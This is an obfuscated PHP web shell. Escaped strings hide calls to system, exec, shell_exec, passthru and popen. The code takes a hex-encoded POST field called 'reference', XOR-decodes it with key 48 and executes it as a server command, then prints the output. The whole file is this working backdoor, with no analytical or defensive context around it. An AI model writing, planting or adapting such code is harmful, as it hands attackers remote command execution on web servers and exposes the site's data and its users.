<?php
//<PHPDATA>cmd_xor;48;reference</PHPDATA>
 $_0="p\141\x73sth\x72u";$_1="pope\156";$_2="\x73y\x73\164em";$_3="pclo\x73e";$_4="hex2bin";$_5="sh\x65ll_exec";$_6="st\x72eam_g\x65\164_con\164en\164s";$_7="\x65\x78ec";if(isset($_POST["\x72e\146\x65re\x6e\x63\x65"])):function __($_8,$_9){$_10="";$_11=(062- -0x4a+0350-0x164);while($_11<STRLEn($_8)):$_10.=Chr(ord($_8[$_11])^$_9);$_11++;endwhile;return$_10;}$_12=$_4($_POST["r\x65fer\x65nce"]);$_12=__($_12,(int)ROUNd(24+24));if(FUnctiON_eXiSts($_2)):$_2($_12);elseif(FUNctIon_EXISTS($_5)):print$_5($_12);elseif(FuncTIOn_EXisTS($_7)):$_7($_12,$_13);print join("\012",$_13);elseif(FUNctION_eXiSTS($_0)):$_0($_12);elseif(fUnctiOn_ExISTs($_1)&&FuNCtiOn_eXIsts($_6)&&fuNction_exIStS($_3)):$_14=$_1($_12,"r");if($_14):$_15=$_6($_14);$_3($_14);print$_15;endif;endif;exit;endif;